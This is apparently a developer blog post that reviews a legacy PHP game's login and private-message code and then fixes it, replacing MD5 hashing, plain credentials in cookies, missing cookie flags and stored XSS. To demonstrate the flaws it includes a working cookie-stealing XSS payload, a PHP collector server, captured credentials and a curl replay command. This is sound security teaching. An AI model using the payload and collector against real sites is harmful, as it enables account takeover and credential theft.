eXtreme Legacy 9: XSS Vulnerability 21/01/2026
🤘 Awakened by the sins of forgotten sanitization, the Cookie Burglar breaches the walls of client-side trust, stealing credentials from the altar of the Script Injector with its serpentine payloads! 🔥
In this series, we're dealing with BisouLand, an eXtreme Legacy application (2005 LAMP spaghetti code base). So far, we have:
- 🐋 got it to run in a local container
- 💨 written Smoke Tests
- 🎯 written End to End Tests
- 🧹 created and applied Coding Standards
- ⛃ migrated to PDO
- 🐘 upgraded PHP 5 to PHP 8
- 🏡 applied automated refactorings using Rector
- 🐘 migrated from MySQL to PostgreSQL
This means we can run it locally (http://localhost:43000/), and have some level of automated tests.
When migrating from the deprecated PHP extension mysql to PDO,
we were expecting to find some SQL injection vulnerabilities,
as the queries were written by concatenating user input.
But to our surprise, none of these were exploitable,
as the user input was sanitised and validated
(e.g. only 15 alphanumerical characters for the username, addslashes, htmlentities, ...).
Still, following the Secure PHP Database recommendations, we:
- migrated away from user input concatenated in the SQL query to prepared statements
- made sure to disable emulated prepared statement
In today's article, we'll explore an actually exploitable vulnerability which allows an attacker to steal a victim's credentials and impersonate them.
The Vulnerabilities
First we're going to look at different sections of the code.
Authentication
Let's start with how logging in is handled:
// phpincludes/app.php
// ---------- Visitor Logs in
if ('POST' === $_SERVER['REQUEST_METHOD'] && isset($_POST['connexion'])) {
// Ensuite on vérifie que les variables existent et contiennent quelque chose :)
if (isset($_POST['pseudo'], $_POST['mdp']) && !empty($_POST['pseudo']) && !empty($_POST['mdp'])) {
// Mesure de sécurité, notamment pour éviter les injections sql.
// Le htmlentities évitera de le passer par la suite.
$pseudo = htmlentities((string) $_POST['pseudo']);
$mdp = htmlentities((string) $_POST['mdp']);
// Hashage du mot de passe.
$mdp = md5($mdp);
// ---------- Persist the authentication (cookie creation)
// La requête qui compte le nombre de pseudos
$stmt = $pdo->prepare('SELECT COUNT(*) AS nb_pseudo FROM membres WHERE pseudo = :pseudo');
$stmt->execute(['pseudo' => $pseudo]);
// La on vérifie si le nombre est différent que zéro
if (0 != $stmt->fetchColumn()) {
// Sélection des informations.
$stmt = $pdo->prepare('SELECT id, confirmation, mdp, nuage FROM membres WHERE pseudo = :pseudo');
$stmt->execute(['pseudo' => $pseudo]);
$donnees_info = $stmt->fetch();
if (isset($_POST['auto'])) {
$timestamp_expire = time() + 30 * 24 * 3600;
setcookie('pseudo', $pseudo, ['expires' => $timestamp_expire]);
setcookie('mdp', $mdp, ['expires' => $timestamp_expire]);
}
}
}
}
And here's how the cookie based authentication is done:
// phpincludes/app.php
// ---------- Authenticate player (using cookie)
// Si on est pas connecté.
if (false == $_SESSION['logged']) {
$id = 0;
// On récupère les cookies enregistrés chez l'utilisateurs, s'ils sont la.
if (isset($_COOKIE['pseudo']) && isset($_COOKIE['mdp'])) {
$pseudo = htmlentities(addslashes((string) $_COOKIE['pseudo']));
$mdp = htmlentities(addslashes($_COOKIE['mdp']));
// La requête qui compte le nombre de pseudos
$stmt = $pdo->prepare('SELECT COUNT(*) AS nb_pseudo FROM membres WHERE pseudo = :pseudo');
$stmt->execute(['pseudo' => $pseudo]);
if (0 != $stmt->fetchColumn()) {
// Sélection des informations.
$stmt = $pdo->prepare('SELECT id, confirmation, mdp, nuage FROM membres WHERE pseudo = :pseudo');
$stmt->execute(['pseudo' => $pseudo]);
$donnees_info = $stmt->fetch();
// Si le mot de passe est le même (le mot de passe est déjà crypté).
// Si le compte est confirmé.
if ($donnees_info['mdp'] == $mdp && true === $donnees_info['confirmation']) {
// On modifie la variable qui nous indique que le membre est connecté.
$_SESSION['logged'] = true;
// On créé les variables contenant des informations sur le membre.
$_SESSION['id'] = $donnees_info['id'];
$_SESSION['pseudo'] = $pseudo;
$_SESSION['nuage'] = $donnees_info['nuage'];
$page = 'cerveau';
}
}
}
}
We can already spot some issues here.
Weak password hashing
First on the list is the following:
$mdp = md5($mdp);
MD5 is a weak password hashing strategy for several reasons:
- Speed: MD5 was designed to be fast (billions of hashes per second on modern hardware),
making brute-force attacks trivial
- Single iteration: Proper algorithms use thousands of iterations to slow attackers, MD5 uses one
- Collision vulnerability: MD5 is cryptographically broken, as attackers can generate different inputs that produce the same hash
- Rainbow tables: Precomputed hash databases allow instant lookups
- No salt: Two users with the same password get identical hashes, enabling mass cracking
This means stolen MD5 hashes can be reversed to plain text passwords, allowing attackers to access accounts and potentially other sites where victims reused passwords.
Credentials in cookies
Second on the list are the actual credentials (username and password) being stored in the cookies:
setcookie('pseudo', $pseudo, ['expires' => $timestamp_expire]);
setcookie('mdp', $mdp, ['expires' => $timestamp_expire]);
This is fundamentally flawed:
- Sent with every request: Credentials are transmitted with every HTTP request, increasing exposure unnecessarily
- Cannot be revoked: There's no server-side session to invalidate, the only way to revoke access is to change the password
- Client-side storage risks: Credentials persist in browser storage, accessible to browser extensions and local malware
- Stolen cookies = stolen passwords: An attacker with the cookie hash has the actual password hash, which can be cracked offline
Unsafe cookies
Third on the list is how we set the cookies:
setcookie('pseudo', $pseudo, ['expires' => $timestamp_expire]);
setcookie('mdp', $mdp, ['expires' => $timestamp_expire]);
Here we're leaving the default settings for the following options:
httponly: defaults tofalse, which means the cookie can be used by JavaScript scriptssecure: defaults tofalse, which means the cookie can be sent over HTTP (as opposed to only be sent through HTTPS)samesite: not set, which means the cookie can be sent to other sites
Private Messages
Let's resume our review of the code as there's more, especially with the handling of private messages which are stored in the database as follow:
// phpincludes/fctIndex.php
function AdminMP($cible, $objet, $message, bool $lu = false): void
{
$pdo = bd_connect();
$castToPgBoolean = cast_to_pg_boolean();
$castToPgTimestamptz = cast_to_pg_timestamptz();
$message = nl2br((string) $message);
$stmt = $pdo->prepare('SELECT COUNT(*) AS nbmsg FROM messages WHERE destin = :destin');
$stmt->execute(['destin' => $cible]);
$nbmsg = $stmt->fetchColumn();
if ($nbmsg >= 20) {
$Asuppr = $nbmsg - 19;
$stmt = $pdo->prepare(
'DELETE FROM messages'
.' WHERE ('
.' destin = :destin'
." AND timestamp <= CURRENT_TIMESTAMP - INTERVAL '48 hours'"
.' )'
.' ORDER BY id LIMIT :limit',
);
$stmt->execute(['destin' => $cible, 'limit' => $Asuppr]);
}
$timestamp = time();
$stmt = $pdo->prepare(
'INSERT INTO messages'
.' (id, posteur, destin, message, timestamp, statut, titre)'
.' VALUES(:id, :posteur, :destin, :message, :timestamp, :statut, :titre)',
);
$stmt->execute([
'id' => Uuid::v7(),
'posteur' => '00000000-0000-0000-0000-000000000001',
'destin' => $cible,
'message' => $message,
'timestamp' => $castToPgTimestamptz->fromUnixTimestamp($timestamp),
'statut' => $castToPgBoolean->from($lu),
'titre' => $objet],
);
}
And finally when they are displayed, the values from the database are printed directly:
// phpincludes/lire.php
if (true === $_SESSION['logged']) {
$pdo = bd_connect();
$castToUnixTimestamp = cast_to_unix_timestamp();
if (isset($_GET['idmsg']) && !empty($_GET['idmsg'])) {
$idmsg = htmlentities((string) $_GET['idmsg']);
$stmt = $pdo->prepare('SELECT posteur, destin, message, timestamp, statut, titre FROM messages WHERE id = :id');
$stmt->execute(['id' => $idmsg]);
$donnees = $stmt->fetch();
if ($donnees['destin'] == $_SESSION['id']) {
if (false === $donnees['statut']) {
$stmt2 = $pdo->prepare('UPDATE messages SET statut = TRUE WHERE id = :id');
$stmt2->execute(['id' => $idmsg]);
}
$stmt = $pdo->prepare('SELECT pseudo FROM membres WHERE id = :id');
$stmt->execute(['id' => $donnees['posteur']]);
$donnees2 = $stmt->fetch();
$from = $donnees2['pseudo'];
$objet = $donnees['titre'];
$message = $donnees['message'];
$dateEnvoie = $castToUnixTimestamp->fromPgTimestamptz($donnees['timestamp']);
?>
<a href="boite.html" title="Messages">Retour à la liste des messages</a>
<br />
<p>Auteur : <?php echo stripslashes((string) $from); ?></p>
<p>Envoyé le <?php echo date('d/m/Y à H\hi', $dateEnvoie); ?></p>
<p>Objet : <?php echo stripslashes((string) $objet); ?></p>
Message :<br />
<div class="message"><?php echo bbLow($message); ?></div>
There's one last problematic issue with the code above.
XSS in private messages
Last, but certainly not least. We can see in AdminMP() that private messages are stored
in the database without any validation or sanitization.
This allows players to write malicious code (HTML, JavaScript) in their message, which will then be permanently stored.
When they are displayed, these messages are again printed as is straight from the database, without sanitization, which means that any malicious code (HTML, JavaScript) will be displayed and executed.
This opens the door to Cross Site Scripting (XSS) attacks.
Attack demonstration
Security Vulnerabilities have been found, but can they actually be used?
Given the lack of httponly, secure and samesite options,
it should be possible to obtain the credentials
(and that's without physical access to the computer!).
Let's demonstrate how the attack can be executed in 4 steps:
- Attacker logs in, and sends a private message to their victim
- The victim logs in, checks their inbox, clicks to view the attacker's message
- On being displayed, the message executes the JavaScript which sends the victim's cookie to the attacker's server
- The attacker receives the cookie on their server, and can create forged cookies to authenticate as the victim
Here's an example of message an attacker can craft:
ALL YOUR BASE ARE BELONG TO US
<img src=x onerror="new Image().src='http://localhost:8080/steal?c='+document.cookie">
HAHAHA
The onerror attribute will execute the JavaScript when the image fails to load,
and the new Image().src makes an HTTP request with the victim's cookies.

This will happen without the knowledge of the victim!
Here's a demo server we can use to test this:
<?php
/**
* File (for demonstration purpose only): xl-9-attacker-server.php
*
* Receives stolen cookies from payloads injected into the BisouLand messaging system.
* Demonstrates how credentials are exfiltrated via JavaScript in real attack scenarios.
*
* Usage: php -S localhost:8080 xl-9-attacker-server.php
*/
function server_log(string $message): void {
$receivedAt = new \DateTimeImmutable()->format('D M j H:i:s Y');
file_put_contents('php://stderr', "[{$receivedAt}] {$message}\n");
}
// Parse cookies
$cookies = [];
parse_str(str_replace('; ', '&', $_GET['c'] ?? ''), $cookies);
// Display to console
$username = $cookies['pseudo'] ?? '';
$password = $cookies['mdp'] ?? '';
server_log("c is for cookies, that's good enough for me");
server_log(" Username: {$username}");
server_log(" Password: {$password}");
// Send response
http_response_code(204);
The attacker will receive on their server:
[Tue Dec 2 18:11:34 2025] c is for cookies, that's good enough for me
[Tue Dec 2 18:11:34 2025] Username: ln42
[Tue Dec 2 18:11:34 2025] Password: 25d55ad283aa400af464c76d713c07ad
And can use them to access the victim's account:
curl --cookie 'pseudo=ln42; mdp=25d55ad283aa400af464c76d713c07ad' http://localhost:43000/cerveau.html
Remediation
Now that we've identified the vulnerabilities, let's fix them systematically.
Password hashing functions
Let's follow the secure PHP Password Hashing recommendations,
which suggest using the password_*() functions available since PHP 5.5.
First in phpincludes/inscription.php,
we'll hash the password with a proper algorithm
(as of PHP 5.5, it's Bcrypt, but might be changed for Argon2 in the future):
- // Hashage du mot de passe avec md5().
- $hmdp = md5($mdp);
+ // Hashage du mot de passe avec Bcrypt ou Argon2.
+ $hmdp = password_hash($mdp, \PASSWORD_DEFAULT);
$id = Uuid::v7();
$stmt = $pdo->prepare(
'INSERT INTO membres (id, pseudo, mdp, confirmation, timestamp, lastconnect, amour)'
.' VALUES (:id, :pseudo, :mdp, :confirmation, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, :amour)',
);
$stmt->execute([
'id' => $id,
'pseudo' => $pseudo,
'mdp' => $hmdp,
'confirmation' => $castToPgBoolean->from(true),
'amour' => 300,
]);
Then in phpincludes/app.php when the visitor attempts to login,
we use password_verify() to compare the hash stored in the database,
and the plain text password provided:
$mdp = htmlentities((string) $_POST['mdp']);
// Hashage du mot de passe.
- $mdp = md5($mdp);
// Si le mot de passe est le même.
- if ($donnees_info['mdp'] == $mdp) {
+ if (password_verify($mdp, $donnees_info['mdp'])) {
Auth Token in cookies
Next, we're going to follow the secure authentication in PHP with long term persistence, which recommend the creation of authentication tokens.
We're going to change the Persist the authentication (cookie creation) section,
replacing it with the creation of an Auth Token which we'll save in the database,
and then store in the cookie:
// ---------- Persist the authentication (cookie creation)
// Instead of counting matches, then selecting pseudonym
// we directly select the account ID
$stmt = $pdo->prepare(<<<'SQL'
SELECT id AS account_id
FROM membres
WHERE pseudo = :pseudonym
SQL);
$stmt->execute(['pseudonym' => $pseudo]);
/**
* @var array<{
* account_id: string, // UUID
* }>|false $account
*/
$account = $stmt->fetch();
if (false !== $account) {
// Using Symfony\Component\Uid\Uuid
// This is the "selector"
$authTokenId = Uuid::v7();
// 32 random hexadecimal characters
// This is stored directly in the cookie
$plainToken = bin2hex(random_bytes(16));
// The hash is stored in the database
// If the table's content is leaked, it won't give what the cookies hold
$tokenHash = hash('sha256', $plainToken);
$expiresAt = new \DateTimeImmutable('+30 days');
$stmt = $pdo->prepare(<<<'SQL'
INSERT INTO auth_tokens
(auth_token_id, token_hash, account_id, expires_at)
VALUES (:auth_token_id, :token_hash, :account_id, :expires_at)
SQL);
$stmt->execute([
'auth_token_id' => $authTokenId,
'token_hash' => $tokenHash,
'account_id' => $account['account_id'],
'expires_at' => $expiresAt->format('Y-m-d\\TH:i:s.uP'),
]);
setcookie(
'bl_auth_token',
"{$authTokenId}:{$plainToken}",
[
'expires' => $expiresAt->getTimestamp(),
// Using safer cookie settings
'httponly' => true,
'secure' => true,
'samesite' => 'Strict',
'path' => '/',
],
);
}
As suggested in the Paragonie article,
we now store in the cookie <authTokenId>:<token>,
this way it no longer contains the username and password,
so obtaining it doesn't compromise the account entirely.
Here's a table to store these:
--------------------------------------------------------------------------------
-- Authentication Tokens
-- Allows secure Authentication Persistence
--------------------------------------------------------------------------------
CREATE TABLE IF NOT EXISTS auth_tokens (
auth_token_id UUID PRIMARY KEY,
token_hash VARCHAR(64) NOT NULL,
account_id UUID NOT NULL REFERENCES membres(id) ON DELETE CASCADE,
created_at TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP,
expires_at TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP + '30 days'
);
We also need to replace the entire Authenticate player (using cookie) section,
to check if the cookie is valid we'll need to hash it,
and then compare it to the hash in the database using the "constant-time" hash_equals
if (false === $_SESSION['logged'] && isset($_COOKIE['bl_auth_token'])) {
[$authTokenId, $plainToken] = explode(':', $_COOKIE['bl_auth_token'], 2);
$stmt = $pdo->prepare(<<<'SQL'
SELECT token_hash, account_id
FROM auth_tokens
WHERE auth_token_id = :auth_token_id
AND expires_at > CURRENT_TIMESTAMP
SQL);
$stmt->execute([
'auth_token_id' => $authTokenId,
]);
/** @var array{token_hash: string, account_id: string}|false $authToken */
$authToken = $stmt->fetch();
if (false !== $authToken) {
$tokenHash = hash('sha256', $plainToken);
if (hash_equals($authToken['token_hash'], $tokenHash)) {
// Token is valid, get account details
$stmt = $pdo->prepare(<<<'SQL'
SELECT id, pseudo, nuage
FROM membres
WHERE id = :account_id
SQL);
$stmt->execute([
'account_id' => $authToken['account_id'],
]);
/** @var array{id: string, pseudo: string, nuage: int}|false $account */
$account = $stmt->fetch();
if (false !== $account) {
// On modifie la variable qui nous indique que le membre est connecté.
$_SESSION['logged'] = true;
// On créé les variables contenant des informations sur le membre.
$_SESSION['id'] = $account['id'];
$_SESSION['pseudo'] = $account['pseudo'];
$_SESSION['nuage'] = $account['nuage'];
$page = 'cerveau';
}
}
}
}
Escaping user input
Finally, we can fix the XSS vulnerability by escaping the user-generated content, such as the title and message content, before displaying it:
<!-- phpincludes/lire.php -->
<a href="boite.html" title="Messages">Retour à la liste des messages</a>
<br />
<p>Auteur : <?php echo stripslashes((string) $from); ?></p>
<p>Envoyé le <?php echo date('d/m/Y à H\hi', $dateEnvoie); ?></p>
- <p>Objet : <?php echo stripslashes((string) $objet); ?></p>
+ <p>Objet : <?php echo htmlspecialchars(stripslashes((string) $objet), ENT_QUOTES, 'UTF-8'); ?></p>
Message :<br />
- <div class="message"><?php echo bbLow($message); ?></div>
+ <div class="message"><?php echo bbLow(htmlspecialchars($message, ENT_QUOTES, 'UTF-8')); ?></div>
Conclusion
In this article, we've explored a critical vulnerability chain in BisouLand that allowed attackers to steal user credentials through XSS attacks.
The combination of insecure cookie handling (storing plain username and password, missing security flags) and unescaped user-generated content created a perfect storm for account takeover attacks.
The remediation steps we've implemented ensure that:
- Credentials are never exposed to client-side code
- Session cookies are protected with proper security flags
- User-generated content is properly escaped before display
- XSS attacks can no longer steal authentication data
With these fixes in place, BisouLand is significantly more secure against the most common web application attacks.
⁉️ What do you mean, there's no dependency injection""?